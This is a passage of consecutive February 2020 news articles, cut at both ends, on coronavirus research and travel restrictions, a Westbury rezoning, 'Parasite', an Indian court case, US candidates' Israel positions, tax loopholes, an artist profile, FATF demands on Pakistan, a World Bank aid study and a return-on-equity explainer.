approach to inhibit the function of polymerase in the virus. They have observed that hepatitis C and coronaviruses use a similar mechanism to replicate their RNA. They believe that a currently approved antiviral drug, Sofosbuvir, which is used to treat hepatitis C, may also be effective against 2019-nCoV. This drug, part of a new class of drugs called nucleotide analogues, inhibits the polymerase enzyme of hepatitis C and thus blocks its replication. Ju and his team will utilize their expertise in synthetic chemistry to generate many more such chemical compounds for testing in collaboration with Drs. Ho, Goff, and Sabo. Best chemical compounds that specifically inhibit 2019-nCoV polymerase will be chosen as drug candidates. Monoclonal antibodies. Dr. Ho will lead an effort aimed at developing monoclonal antibodies - molecules that can bind to the surface of the coronavirus and neutralize the infectivity of the virus. His team will try to isolate antibodies from blood cells of patients who no longer have the virus and have recovered from 2019-nCoV infection. Then they will engineer the virus-neutralizing antibodies further to optimize their potency against 2019-nCoV. The most promising antibodies will be sent to collaborating labs in China where they will be tested against actual coronavirus in the lab as well as in animal models. "Over the past two decades we've seen the emergence of three deadly coronaviruses - SARS, MERS, and now 2019-nCoV," said Ho. "We believe it is likely that new coronaviruses will emerge in the future. The four projects we are now pursuing against 2019-nCoV were chosen because we believe they will lead to the development of a broad spectrum antiviral drug or antibody that could be effective against a wide range of current and future coronaviruses." "We're undertaking this work with a great sense of urgency because of the nature of the current coronavirus outbreak," Ho added, "but we are also thinking ahead to what we may confront in the future." Ho said that the Columbia teams expect to move at least one protease inhibitor, one polymerase inhibitor, and one monoclonal antibody into clinical trials within a year. "We are deeply grateful to the Jack Ma Foundation for their partnership and support as our scientists work to tame a contagion that has rapidly become a global threat," said Ho. ### The quarantine has been lifted for 90 coronavirus evacuees who were brought to Joint Base San Antonio-Lackland earlier this month from Wuhan, the Centers for Disease Control and Prevention said Thursday. Kate Grusich, a CDC spokeswoman, said in statement that the evacuees were medically cleared and are now allowed to travel home. It is important to know that these people being released from quarantine pose no health risk to the surrounding community, or to the communities they will be returning to, the statement said. CDC extends its thanks to these individuals for their cooperation and patience during their quarantine and wish them well as they return to home, work, and school. The one person from that group who tested positive for the virus last week will remain hospitalized in San Antonio, the statement said. That patient had been treated at Methodist Hospital | Texsan, but on Thursday afternoon the chief medical officer of the Methodist system said the patient had been transferred from their care. Citing patient privacy laws, the statement did not disclose details on where the patient is now. On ExpressNews.com: Victims of circumstance: Cruise ship passengers quarantined at Lackland faced chaotic trip home The 91 people arrived at Lackland on Feb. 7, via a State Department-chartered flight out of the epicenter of the coronavirus outbreak in China. Upon their arrival in San Antonio, they were issued a legally binding quarantine order that kept them there for the next 14 days, which is believed to be the virus incubation period. A second group of 144 people who had been exposed to the coronavirus on the Diamond Princess cruise ship were brought to Lackland on Monday. Lauren Caruba covers health care and medicine in the San Antonio and Bexar County area. Read her on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | lcaruba@express-news.net | Twitter: @LaurenCaruba Iraq and Kuwait have temporarily restricted the entry of Iranians into their countries in an effort to stem the outbreak of the deadly coronavirus following Iran's announcement that two people there had died from the disease. The Iraqi Border Crossing Authority on February 20 said Iranian travelers will be denied entry to Iraq through shared border crossings for at least the next three days. It also said Iraqis returning from Iran will be subjected "to the procedures adopted by the Iraqi Ministry of Health." Iraq's national carrier, Iraqi Airways, has also suspended flights to Iran. The moves came after the Iranian holy city of Qom announced emergency measures to stem a possible outbreak of the virus following the deaths of two men there. Millions of Iranians traditionally travel to Iraq to visit Shi'ite holy sites in the country, as do Iraqis to Iran. Separately, Kuwait's ports authority suspended the movement of people to and from Iran until further notice over concerns about the spread of the virus, state news agency KUNA said early on February 21. A day earlier, Kuwait Airways suspended all flights to Iran on the advice of the Kuwaiti Health Ministry and the civil aviation authority. The coronavirus, which began in the Chinese city of Wuhan, has killed 2,118 people and infected 74,576 people on mainland China, with hundreds more infected in nearly 30 countries. Iran has detected five infected people, the first cases reported in the Middle East. Authorities in Qom, a city of some 1.2 million people, have asked residents to avoid unnecessary physical contact, including shaking hands or kissing, following the deaths of two older men. The Health Ministry said both men had come to the hospital with breathing problems and tested positive for a strain of the coronavirus Neither man had traveled outside of the city that is considered holy to Shiite Muslims, nor are they thought to have had contact with Chinese tourists. Health officials urged that all religious gatherings be suspended in the city, according to Iranian media. With reporting by dpa, Reuters, ISNA, and IRNA Local News By Ls Cohen Published: February 21 2020 Properties near LIRR station will be made into mixed-use, transit oriented developments. For years, the village of Westbury has been planning a revitalized downtown that includes the rezoning of 53 acres of property within the area encompassed by Post Avenue, Maple Avenue, School Street and Union Avenue from industrial use to mixed-use residential to facilitate transit-oriented development projects around the Long Island Railroad station. This past December, the village passed sweeping changes to its zoning code to help bring this vision closer to reality. Dubbed the Maple Union Transit-Oriented Development District the area is now zoned for mixed-use residential with ground-floor retail and commercial in addition to other projects that the village hopes will foster a more cohesive and vibrant downtown. A July 2019 presentation of the zoning changes proposed a density of 35 units per acre, 50,000 square feet of new space, up to 1,500 new parking spaces plus a new LIRR parking garage, and an estimated investment of $351 million of private money. According to reports, some of the zoning subdistricts will allow for buildings as tall as five stories, although these taller buildings would have to come in exchange for some public benefit. These projects will add well over a thousand new residential units to the area. A report produced by the village explained that the new vision will facilitate a mix of retail, commercial and residential uses that continue to bolster the economic vibrancy of the downtown, and to enhance the quality of life for residents, workers and visitors. Its stated goals are to foster transit-oriented development that allows for increased density, mixed-use development in the Maple Union area; improve pedestrian and visual connections between the LIRR Station and downtown; encourage the development of diverse housing options; and improve walkability. Mayor Peter Cavallaro called the changes historic in a statement on a video released by the village. In the meantime, the village has already tackled a number of projects as outlined in a $10 million downtown revitalization grant from New York States Regional Economic Development Councils it received in 2016. The awards included: Seoul, South Korea Oscar-winning "Parasite" director Bong Joon-ho said Wednesday the film's "biggest pleasure and the most significant meaning" to him is that it succeeded even though audiences might feel uncomfortable with his explicit depiction of bitter wealth disparity in modern society. Bong's dark comic thriller about two families on opposite ends of South Korea's social spectrum is a history-making film. It won best picture at this month's 92nd Academy Awards ceremony, becoming the first non-English-language film to get the top honor. Bong and his film won three other Oscars. Bong told reporters that the movie's story has not only "funny, comic" elements but also "bitter, painful natures" of the disparity between the haves and have-nots in modern society. "I didn't want to avoid such a part even a little bit," Bong told a nationally televised news conference. "Audiences might hate that or feel uncomfortable to watch it ... but I thought the only option I can have for this movie is depicting the world we live in as frankly as possible, though that might be risky commercially." Noting that "Parasite" was already commercially successful in North America, France, Vietnam, Japan, the United Kingdom and his native South Korea even before his Oscar triumph, Bong said, "Regardless of the (Oscar) wins, the biggest pleasure and the most significant meaning was the fact that many audiences around the world of our times respond to the movie." The class satire tells the story of how a family of four poor, unemployed people living in a slum basement apartment comically infiltrates a wealthy family residing at a luxurious mansion before things unravel violently and tragically. Bong already had commercial and critical success with his 2013 sci-fi film "Snowpiercer," which starred Chris Evans and Tilda Swinton along with South Korean "Parasite" actor Song Kang-ho. But nothing that's come before has been remotely as successful as "Parasite," a profoundly South Korean film shot in the Korean language. Along with the best picture award, Bong was also named best director and co-shared another Oscar title, best original screenplay, with "Parasite" co-writer Han Jin Won. The film won best international feature film as well. The movie, which is also the first South Korean film to win an Oscar, has made Bong a national hero. Ahead of April's parliamentary elections in South Korea, some politicians even proposed setting up a Bong statue, establishing a street named after him and rebuilding the house where he was born. Bong said that he will leave it to critics, journalists and fans to analyze the movie's commercial appeal, and that he'd fully focus on working on his next film. He also said he was discussing making a TV adaptation of "Parasite," for HBO with American director and screenwriter Adam McKay agreeing to be a writer on the series, which could run five or six episodes. The Bombay High Court on Friday refused permission to three women doctors accused of abetting the suicide of their junior colleague Payal Tadvi to complete their post graduation at BYL Nair Hospital here. Justice Sadhana Jadhav noted that the three doctors - Hema Ahuja, Bhakti Meher and Ankita Khandelwal - are graduates and can pursue post graduation after trial in the case is complete. The high court also directed the special court to complete the trial within a period of ten months. The court was on Friday informed by special public prosecutor Raja Thakare and head of Nair Hospital gynaecology department Ganesh Shinde that the staff and other junior doctors are skeptical and not comfortable with the return of the three doctors to the hospital. "There is hostility. Today if they (accused doctors) are allowed to go back to the same college, then a wrong message will be sent that no matter what you do, you will face the heat only for a few months," Thakare said. Replying to a suggestion made by the accused doctors' counsel Aabad Ponda that the trio could be shifted to another unit of the gynaecology department, Thakare said it would not be possible as the staff, who are important witnesses in the case, are the same across all units. Justice Jadhav accepted this statement and said permission to enter the Nair hospital premises to complete post graduation course cannot be granted and disposed of the trio's petition. The high court had, in August 2019, while granting bail to the three doctors, directed them to not enter the civic-run BYL Nair hospital where the incident took place and had also suspended their medical licence till the end of the trial. Justice Jadhav on Friday said it was not right to have suspended their medical licences as this court did not have the jurisdiction to do so while hearing a bail plea. The court noted that the Maharashtra Medical Council has already initiated inquiry into the issue and shall take appropriate decision on suspension of their licences. Payal Tadvi, a second-year postgraduate medical student attached to BYL Nair Hospital, had committed suicide on May 22, 2019 inside her hostel room in the hospital premises. Tadvi in her suicide note held the three senior women doctors responsible for her condition and for harassing her. On May 29, 2019, the police arrested the three under IPC sections 306 (abetment to suicide) and 201 (destruction of evidence ) and provisions of the Maharashtra Prohibition of Ragging Act and the Scheduled Castes and the Scheduled Tribes (Prevention of Atrocities) Act. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) (JNS)Responding to a New York Times survey last week, Sen. Elizabeth Warren (D-Mass.) pledged to reverse U.S. President Donald Trumps decision in November on Israeli settlements, while former New York City Mayor Michael Bloomberg would keep the U.S. Embassy in Jerusalem. Warren said that the continued expansion of Israeli settlements and the increasing normalization of proposals for Israel to annex parts or all of the West Bank are the most immediate dangers to the two-state solution. I will reverse the Trump administrations new policy on settlements, which upends 40 years of bipartisan precedent, and make clear that Israeli settlements violate international law, she continued. And if Israels government continues with steps to annex the West Bank, the U.S. should make clear that none of our aid should be used to support annexation. Sen. Bernie Sanders (I-Vt.) reiterated his stance that he would condition U.S. assistance on Israel not annexing or expanding settlements. Billionaire Tom Steyer said he would condition U.S. assistance to Israel on settlements, in addition to pledging to reverse Trumps relocation in May 2018 of the U.S. embassy from Tel Aviv to Jerusalem. Entrepreneur Andrew Yang, former New York City Mayor Michael Bloomberg and former Massachusetts Gov. Deval Patrick said the U.S. embassy should remain in Jerusalem. The status of Jerusalem should remain a part of any negotiated two-state solution, and we should be mindful of both Palestinian and Israeli negotiators before deciding where the embassy should be, said Yang. Former U.S. Vice President Joe Biden, former South Bend, Ind., Mayor Pete Buttigieg, Sen. Amy Klobuchar (D-Minn.) and Sen. Michael Bennet (D-Colo.) have already stated theyd keep the embassy in Jerusalem, while Warren said last week that the embassy should be decided in negotiations between the Israelis and the Palestinians. Sanders said that moving the embassy back to Tel Aviv would be on the table if Israel continues to take steps, such as settlement expansion, expulsions and home demolitions, that undermine the chances for a peace agreement. On Iran, Buttigieg, Klobuchar, Sanders, Warren and Steyer reiterated they would re-enter the 2015 Iran nuclear deal, which the Trump administration withdrew from in May 2018, while Bennet and Bloomberg said they would re-enter the agreement without preconditions. Yang and Patrick said they would seek a grand bargain to resolve nuclear, missile and counterterrorism disagreements. In August, the former said in a debate that We have to re-enter that agreement and renegotiate the timelines because right now the timelines dont make sense. THE Revenue Commissioners warned the Government to act quickly to close a loophole that was allowing businesses to double-claim tax relief on buildings. A series of changes to tax credits and allowances for scientific research and development (R&D) were introduced in last year's Budget amid concerns accountancy firms were helping clients use the system in ways that were never intended. A briefing document prepared for Finance Minister Paschal Donohoe explained weaknesses in the legislation, allowing some companies to claim a 200pc deduction for the cost of a building. This involved using two separate tax reliefs, one for accelerated capital allowances and a second industrial buildings allowance. "This would effectively allow a 200pc deduction for the cost of the building, 104pc in year one and 4pc in each of the following 19," it said. Officials noted so-called "gateway claims", where companies claimed R&D tax credits as well as capital allowances. Read More The intention of the R&D tax credit was for specialist buildings like labs, pilot manufacturing facilities and other such uses. However, it was being utilised by some companies to develop high-spec office buildings, where only desk-based research happened. The submission said: "Costs incurred on such a building could qualify for the 25pc R&D tax credit and 100pc upfront capital allowances. Read More "Whereas costs incurred on an identical office building by a business not engaged in R&D would not qualify for any capital allowances at all." "More agents appear to be identifying this weakness," it continued, warning that the loss to the Exchequer could be significant. The Revenue had said there were now "concerns as to the proper functioning of the relief". Minister Donohoe agreed to proposals put forward by the Department of Finance to close off the loopholes. The Revenue Commissioners said the changes needed to take place as a matter of urgency to ensure further claims could not begin. The submission said: "Legal advice from the Attorney General has been sought and it is proposed that these amendments take effect at the earliest date legally permissible." The survey, and a monograph published by Lou Klepac and Mal Damkar of Beagle Press, position Kingston as one of Sydneys most important artists, focusing particularly on his oeuvre of the last two decades. First Light, a reflective work most unlike Kingston's whimsical cartoons and creations, gives the exhibition its title. I'm going to rail against disappearing some time soon. The work is dated 2018-2019 but in fact, Kingston has been making adjustments that very morning and has declared the work he started in 2013 with the working title Memory of Things Past, after Marcel Proust, "finished to my satisfaction". As Klepac notes, since taking up painting seriously in 1991 Kingston has discovered the poetry and alchemy of oils within a less rigid narrative vision. "First light causes the appearance of colour each day. It's also spiritual, of creation," says Kingston, who admits to being the kind of artist who drums his fingers impatiently waiting for dawn. He is grateful to Pearce and Klepac, who both believed the artist had more to offer the world than Luna Park relics and sculptures of the Australian comic character Boofhead and approached him two years ago with the idea of a book. "They both saw a serious side and wanted me to swim in deeper water." In a historic building that was once one of Sydney's first military hospitals, the Trust Cafe is better known among its devoted regulars as Margaret's Cafe, for its manager, who looks all business in her black apron but warmly dotes on Kingston and his doggy companion Brigalow when he pays the occasional gallery visit. Peter Kingston's First Light in his studio. The daily special of two courses plus a glass of wine and tea or coffee looks very reasonable for $38 but instead, we order individually from the simple seasonal menu. Kingston initially opts for the goats cheese salad served with minted lentils, baby beetroot, hickory-smoked tomatoes with salad greens, but changes it to the lime marinated chicken breast when he hears that Margaret has roasted the chicken herself. "This food is real food, and it's fresh," he enthuses. "Margaret goes to the markets every morning and buys it all." Kingston is right - the chicken is delicious. "When I got pneumonia I just wanted to shut my eyes forever. But now I feel so well with my sister's cooking." Kingston's fridge is groaning with soup and meals have been left on his doorstep, some from his neighbour Wendy Whiteley. "Having cancer is like an evil chocolate wheel dispensing dud prizes," Kingston says. "You know it could stop on piles or you know, whatever. I could see a board game in it - you get a bit dark about these things. "I've got so many projects I want to finish, that I'd hate to leave unfinished. I feel like an astronaut on the moon. You are trying to grab rocks because the rocketship's leaving so you are trying to finish projects. I'm in a state of joy actually because everything is coming together beautifully, except the cancer." We toast our glasses of sparkling apple juices to a speedy recovery. Kingston hasn't drunk alcohol in 20 years. "It wasn't good for me," he says referring to those famously indulgent party days in Lavender Bay with the Whiteleys. "Do you know retrospective means you are not alive and a survey means you are alive and kicking?" The lime marinated chicken breast and salad greens topped with walnuts. Credit:Nick Moir In the late 1970s, Kingston joined fellow artist Martin Sharp on a restoration project to bring Luna Park back to its former glory. Sharp turned to Christianity in part to cope with the Ghost Fire tragedy in which seven people died, six of them children. A humanist to his core, Kingston is not convinced that the fire wasn't anything but just a terrible accident, and he's not prepared to believe in an afterlife either. ''I believe in dugongs," chuckles the veteran campaigner for the protection and conservation of World Heritage-listed Hinchinbrook Island and Channel. It was Kingston who drew the endangered mammals on the footpath around Lavender Bay where the then Prime Minister John Howard would power walk of a weekend. The same foreshore boardwalk bears his name lined by Kingstons bronze sculptures of characters created by artists May Gibbs, Dorothy Wall and Norman Lindsay. It's not the only cause to consume his energies. He's gone into bat to save the Walsh Bay wharves and Luna Park and was among the protesters in 1966 who marched on Parliament calling for Jorn Utzon's return to complete the Sydney Opera House. Kingston came to know the Danish architect through his son, Jan, with whom he studied architecture at the University of NSW. His friendship with Jan and sister Lin endures today. The iconic building has been a constant in all his art, even as he has shifted from drawing, his first love, to painting. The sails of the Opera House rise from the harbour like a simmering black mirage in Sacred House 10, an altarpiece for modern Australia. ''I've never felt the need to seek out new subjects," he notes. "Someone once criticised me for being an old barnacle with my subject matter. But barnacles do a lot of good, don't they?" Cancer has brought to the fore an urgent new cause - euthanasia which failed to become law by "one wretched vote" in the NSW Upper House. "I think a good death would be to be surrounded by your family to be with your family and their agreement with your wishes," Kingston says. "I have read up quite a lot about palliative care and there is a gap where they can't guarantee there is no pain or anything like that. I'm not going to say I won't have it but I would rather have it more on my terms." Margaret visits our table and collects compliments. "The Trust Cafe was the first winner of Cheap Eats 40 years ago, darling," she says. "But they don't come near us anymore and I'm glad." Someone once criticised me for being an old barnacle with my subject matter. But barnacles do a lot of good, don't they? With his two sisters, Kingston grew up in Parsley Bay during the 40s and 50s, running wild in the bush. A kindly widowed neighbour, Mary Eyles, shared books of May Gibbs and Blinky Bill and later supported him financially in his artistic career. The filmmaker Peter Weir and the Buttrose family lived close by. The ABC chairman is a cousin and her portrait features in a yet-to-be-published linocut series Blokes, Gents and Sheilas, along with friends Elisabeth Cummings and Robin Nevin as Lady Macbeth. Kingston's father Percy studied at the Julian Ashton School but worked for most of his life as branch manager for 20th Century Fox, distributing the movies of Marilyn Monroe and other Hollywood classics. It was through him that the young Kingston came to be entranced with comics and the magic of movies. Underneath the floor of his childhood home he built a tiny cinema, running film offcuts through a projector. Severing his Achilles tendon on a pane of glass in his little theatre at the age of 14, Kingston was hospitalised for several months and it was during his lengthy convalescence Fairlie says she first saw her brother take seriously to drawing. At Cranbrook School, the shy Kingston was taught by Justin O'Brien and first met the charismatic and talented Sharp, in the year ahead of him. "My big breakthrough was meeting Richard Neville in a lift at the Chevron Hilton," recalls Kingston. "He said he worked on the [university paper] Tharunka and I said, "I can do cartoons", and I'd never done one in my life. Then I got onto Oz magazine and that forced me to draw. That was one of the best things that happened to me because they gave me a platform to do cartoons. Then I got caught in Martin's obsession with Luna Park." From Sharp, Kingston says he learned to toughen up. "He was always pulling me down a peg, but he was a good friend when it was all said and done." When Kingston joined Sharp's Yellow House collective in Potts Point he began experimenting with film-making and fell into the same orbit as Whiteley. Their fathers were friends and in the exhibition's wunderkabinet containing nostalgic relics of Kingston's incarnation as pop-illustrator-satirist, is an elaborate pin cushion with tassels gifted to him by Whiteley's mother, Beryl, whom Kingston recalls once put a boot in her son's painting in a fit of pique. Fellow artist Garry Shead approached Kingston to make a film on Whiteley, Brett and Butter now in the National Film and Sound Archives. The two devotees of the Phantom comic also made a film tribute to the ghost who walks with Kingston, playing the Phantom and Wendy Whiteley the damsel in distress. Brett Whiteley was the rising star as Kingston was still trying to find his feet and after living in Japan for a couple of years, Kingston settled next door to his mentor in Lavender Bay. Only after Whiteley's untimely death in 1992, a year before Kingstons fiftieth birthday, did he feel confident to paint the harbour he had loved all his life, and only in recent years has he sought to capture its every mood and movement. Of all the student cartoonists that crossed his path, Neville once noted that Kingston's career was "strictly slow combustion". Kingston agrees he's worn many hats over a 60-year career only to find his own path late in life. But they've not been wasted years. A successful drawing will make a successful painting, and drawing has been ever his first love. For over 50 years, Staten Islanders have celebrated the Staten Island St. Patricks Day Parade. From West Brighton to Westerleigh, parents arrive early in the day to secure their spot to watch their children in bands and dance studios march down Forest Avenue, while thousands of 20- and 30-somethings pack into Jodys, Duffys and other Forest Avenue bars to catch up with old friends and make new ones. Irish Americans and non-Irish Americans join together and celebrate a culture and a people that prioritize God, family and community. However, in recent years, the days and weeks leading up to the parade have been eclipsed by the debate over whether or not the Pride Center of Staten Island should be able to march in the parade under its banner. I am Catholic. Most of my fellow Irish Staten Islanders are Catholic. Pope Francis tells us that the Church should be a home for all, and not a small chapel that can hold only a small group of selected people, questioning who am I to judge those who are gay and lesbian? So if the Church is open and welcoming to gays and lesbians why not let an organization whose mission it is to support them march in the parade? Is it because of some anti-Catholic, anti-Irish actions taken by the organization? No. When asked by Sydney Kashiwagi of the Staten Island Advance why Staten Islands Pride Center was denied permission to march openly, the parades organizer stated: Heres the deal, its a non-sexual identification parade and thats that. No, they are not marching. What the organizing committee fails to see is that banning a group from marching because of their sexual orientation has actually made it a sexual identification parade. Parade sponsors have withdrawn support and many individuals refuse to march and attend due to the policy. The logic of the statement is also flawed the parade is also not a Boy Scout parade, a politician parade, a car show parade or a fire truck parade. The parade does not consist of merely bagpipes and Irish step dancers. We need to move forward and return to a celebration of Irish culture open to celebration by all people and groups, regardless of sexual orientation. It is time to let the members of the Staten Island Pride Center march under their banner. (Brendan Lantry is the chairman of the Staten Island Republican Party.) NEW ALBANY, Ohio, Feb. 19, 2020 /PRNewswire/ -- RoamHR (roamhr.com), the digital platform empowering the freelance workforce to easily and effectively manage its taxes, announces its partnership with BBVA Open Platform . Starting today, RoamHR users will now have access to FDIC-insured tax withholding accounts in the RoamHR app. RoamHR's tax withholding accounts work alongside the app's other features. By using the Tax Withholding Account, RoamHR's proprietary algorithm calculates what a user's estimated taxes are based on the income they are bringing in. It then allows them to move that portion of their income into the Tax Withholding Account to make sure they have the right amount to pay the IRS every quarter -- helping to take the guesswork out of taxes. Additionally, RoamHR users can take advantage of the company's IRS tax payment service, which makes tax payments on their behalf five days before the scheduled due date. "Our partnership with BBVA Open Platform offers the additional security and peace of mind associated with FDIC-insured banking institutions," said Rick Gonzalez, founder and CEO, RoamHR. "Its nimble and highly-customizable offerings allowed our team to easily develop the perfect solution for our users." BBVA Open Platform is a leading Banking-as-a-Service (BaaS) platform in the United States and makes it easy for companies across industries to deliver core banking services to their customers. Through this partnership, RoamHR can originate RoamHR branded FDIC-insured tax withholding accounts on BBVA USA's real-time Alnova banking core. This is accomplished via BBVA Open Platform's simple and intuitive APIs. "Freelancers and consultants have different expectations around financial services," said Susan French, Open Platform's Head of Product. "1099 employees are seeking platforms that can help streamline their finances. We are excited to partner with Roam HR to offer an innovative solution that addresses these consumers' unique needs." About RoamHR RoamHR is the ultimate financial platform for freelancers. Our solution is precision-engineered to solve the biggest tax and budgeting challenges faced by the self-employed and contract workers, making it incredibly easy for 1099 employees to save money, plan for quarterly tax payments, track mileage and other deductible expenses, and automate tax payments. Our goal is to unlock new levels of financial freedom for freelancers, wherever they may roam. Whether you're a truck driver, a designer, or a developer for hire, our easy-to-use platform allows freelancers the freedom to focus on the work that you want to do, and not on tax planning. To download the RoamHR platform or learn more, please visit www.roamhr.com . About BBVA Open Platform BBVA Open Platform offers API-driven, white label banking and payments solutions. Through Open Platform, companies can integrate banking and payments services directly into their existing UI to streamline their own operations and offer their customers banking and payments services, all under their own brand. Top brands work with BBVA Open Platform to optimize their user experience on top of API- powered banking and payments solutions designed for the platform economy and provided by leading U.S. bank BBVA USA, Member FDIC. For more information, visit Open Platform at https://bbvaopenplatform.com/ SOURCE RoamHR Related Links http://roamhr.com Pakistan has been handed out an 8-point list by global watchdog FATF that Prime Minister Imran Khans government will have to deliver on within the next four months. The Paris-based Financial Action Task Force, which has retained Pakistan on its grey list, has warned Islamabad that it could end up on the blacklist when it makes a fresh assessment in four months. Pakistan had last returned to the FATF grey list in June 2018 when the global anti-terror funding watchdog found deficiencies in Islamabads money laundering and anti-terror funding laws and their implementation. It had come up with a 27-point to-do list for Pakistan and given it 15 months to get working. As Islamabad slipped on the deadlines, the FATF has more than once wielded the threat of placing it in the black list if it did not move fast enough. This would entail harsher sanctions and intense scrutiny of all financial transactions. Currently, only Iran and North Korea are on the black list. This time, the 39-member FATF plenary meeting found Pakistan had failed to deliver on 13 of the 27 points in the action plan that it had pledged to implement. Barring Turkey, the 39-member multilateral watchdog expressed serious concern at Pakistans missing another deadline to curb terror financing risks emanating from its territory. As part of the 8 points that Pakistan should focus on, Prime Minister Imran Khans government has been told to demonstrate that his security agencies detect and probe the widest range of terror financing and these investigations target designated individuals and terror groups. PM Khan, for one, would also have to show that the probes culminate in effective, proportionate and dissuasive sanctions (convictions). Another pointer for Khans administration, which if implemented could break the back of terrorism in his country, requires the government to implement targeted financial sanctions against all UN designated terrorists and prohibiting their access to funding. Here is the list of eight points that Pakistan has been told to deliver on to address strategic deficiencies. (1) demonstrate remedial actions and sanctions are applied in cases of anti-money laundering and anti-terrorist financing regimes (2) demonstrate competent authorities identify and act against illegal money or value transfer services (3) demonstrating implementation of cross-border currency and Bearer-Negotiable Instruments controls at ports of entry including effective, proportionate and dissuasive sanctions (4) demonstrate that law enforcement agencies identify, probe and prosecute the widest range of terror funding activity. This should also cover designated persons and entities and those acting on their behalf (5) demonstrate that terror financing prosecutions result in effective, proportionate and dissuasive sanctions (6) demonstrate effective implementation of targeted financial sanctions against UN designated terrorists and prevent them from raising or moving funds (7) demonstrate enforcement against terror financing violations including administrative and criminal penalties (8) demonstrate that facilities and services owned or controlled by designated persons are deprived of access and use of their resources SHARE THIS ARTICLE ON ABOUT THE AUTHOR Shishir Gupta Author of Indian Mujahideen: The Enemy Within (2011, Hachette) and Himalayan Face-off: Chinese Assertion and Indian Riposte (2014, Hachette). Awarded K Subrahmanyam Prize for Strategic Studies in 2015 by Manohar Parrikar Institute for Defence Studies and Analyses (MP-IDSA) and the 2011 Ben Gurion Prize by Israel. ...view detail Newsletter info ( https://www.ft.com/content/ad264511-9603-4651-9b73-cc5ef469dfe3) The financial institution responsible for development aid to the poorest countries has tried to censor an internal publication with thunderous conclusions. "Misappropriation of foreign aid by elites. Proof of offshore bank accounts", the publication questions the effectiveness of the World Banks action. Development aid payments from the international financial institution fuel part of the corruption of poor countries. For the benefit of Western financial centers - and therefore for the benefit of richer countries. The World Bank tried to censor the study The "Elite Capture of Foreign Aid" study in question successfully passed an internal validity assessment three months ago. And last week's resignation from the institutions chief economist, Penny Goldberg, was explained by The Economist (and in all likelihood) by the censorship of this controversial publication. 7.5% of aid, in tax havens The results of the study - commissioned by the World Bank itself -: on average, 7.5% of the institution's payments to developing countries are diverted to tax havens like Switzerland, Luxembourg, and Singapore. A share that climbs to 15% for the 7 most assisted countries - when World Bank aid represents at least 3% of gross domestic product (Uganda, Eritrean Sierra Leone, Mozambique ...). The more a country is dependent on World Bank development assistance, the larger the payments made to offshore financial centers. Concretely, the three researchers demonstrate that "development aid paid to poor countries systematically coincides with a sharp increase in bank deposits from the countries concerned to tax havens". And, worse, the more a country is dependent on World Bank development assistance, the larger the payments made to offshore financial centers. However, tax evasion by multinationals alone outside of developing countries is already a major problem for developing countries - estimated at $ 200 billion a year by the International Monetary Fund. Which is in itself more than 143 billion in development aid. The consequences of this tax evasion are already as such colossal for poverty in these countries. Public money for development aid fuels corruption In the case of #papergate, the Western, European, Belgian taxpayer now knows that public money intended for development aid feeds corruption in the poorest countries of the planet. For the benefit of Western financial centers. To the benefit therefore, richer countries. According to Arnaud Zacharie, secretary general of the CNCD 11.11.11: "This is what is particularly shocking and which actually shows that institutions like the World Bank did not take all the measures to ensure monitoring, to ensure the traceability of the aid it grants to the poorest countries ". World Bank internal tensions This is not the first sign of tensions within the World Bank, for Arnaud Zacharie: "There is a large and growing gap between the World Bank research department on the one hand, who often orders studies from academics, and on the other hand the board of directors and the presidency which implements policies. You should know that this is not the first episode in this area, since the economist previous chief (Paul Romer, Nobel economist) himself resigned after 15 months, after denouncing falsifications of data concerning Chile ". Until now, there has been little systematic evidence of aid diversion The debate on the effectiveness of development aid is not new. To what extent does this aid actually stimulate growth, improve human development results and reduce poverty? The study authors stress the "concern often expressed by skeptics is that this aid can be captured by the economic and political elites of poor countries". But that "so far there has been little systematic evidence of aid diversion". So far. And for the institution, the defeat is twofold: its effectiveness in reducing poverty is deeply questioned, and it is clearly not ready to admit it. What credibility can senior World Bank leaders still boast today? The debacle is monumental. The World Bank paper at the center of a controversy [UPDATE] The departure of chief economist linked to research on the ties between aid and corruption. UPDATE: One of the economists behind the research published the paper here at around 10 am UK time. It has also now been conditionally accepted for publication by the World Bank. Penny Goldbergs departure from the chief economist role at the World Bank is a good example of what can happen when the worlds of public officialdom and academe combine. Or in this case, clash. At first, the relationship is mutually beneficial the institutions reputation is enhanced through its association with a top-drawer talent, while the academic has a chance to shape policy. More often than not, however, the honeymoon is followed by a spectacular falling out when the academic refuses to toe the party line and says the work of the institution is flawed. Weve seen it before most notoriously between Joseph Stiglitz, another former World Bank chief economist, and the Banks sister organization, the IMF. As The Economist reported last week, the specifics of the chief economists departure are not known, with Goldberg herself saying anything ahead of her return to Yale in March. However, the article links the departure with research reviewed by her department, but allegedly blocked from publication by higher-ups into aid granted by the Bank falling into the wrong hands: After aid to a country spike, money departs for offshore havens. And after a sensitive paper is spiked, Penny departs for New Haven. We managed to get hold of a copy of the paper, which dates from December 2019 but is yet to be made public. The work is the fruits of three economists. Two Jrgen Juel Andersen of BI Norwegian Business School and Niels Johannesen of the University of Copenhagen and CEBI have in recent years looked at where oil wealth goes (surprise: usually into bank accounts in financial havens). The final contributor is the World Banks Bob Rijkers. SOURCE: Financial Times (https://www.ft.com/content/ad264511-9603-4651-9b73-cc5ef469dfe3) While some investors are already well versed in financial metrics (hat tip), this article is for those who would like to learn about Return On Equity (ROE) and why it is important. We'll use ROE to examine China Nonferrous Mining Corporation Limited (HKG:1258), by way of a worked example. Over the last twelve months China Nonferrous Mining has recorded a ROE of 14%. That means that for every HK$1 worth of shareholders' equity, it generated HK$0.14 in profit. Check out our latest analysis for China Nonferrous Mining How Do I Calculate ROE? The formula for return on equity is: Return on Equity = Net Profit (from continuing operations) Shareholders' Equity Or for China Nonferrous Mining: 14% = US$199m US$1.4b (Based on the trailing twelve months to June 2019.) Most know that net profit is the total earnings after all expenses, but the concept of shareholders' equity is a little more complicated. It is the capital paid in by shareholders, plus any retained earnings. You can calculate shareholders' equity by subtracting the company's total liabilities from its total assets. What Does Return On Equity Mean? Return on Equity measures a company's profitability against the profit it has kept for the business (plus any capital injections). The 'return' is the profit over the last twelve months. A higher profit will lead to a higher ROE. So, as a general rule, a high ROE is a good thing. Clearly, then, one can use ROE to compare different companies. Does China Nonferrous Mining Have A Good Return On Equity? Arguably the easiest way to assess company's ROE is to compare it with the average in its industry. Importantly, this is far from a perfect measure, because companies differ significantly within the same industry classification. Pleasingly, China Nonferrous Mining has a superior ROE than the average (8.2%) company in the Metals and Mining industry. SEHK:1258 Past Revenue and Net Income, February 20th 2020 That's 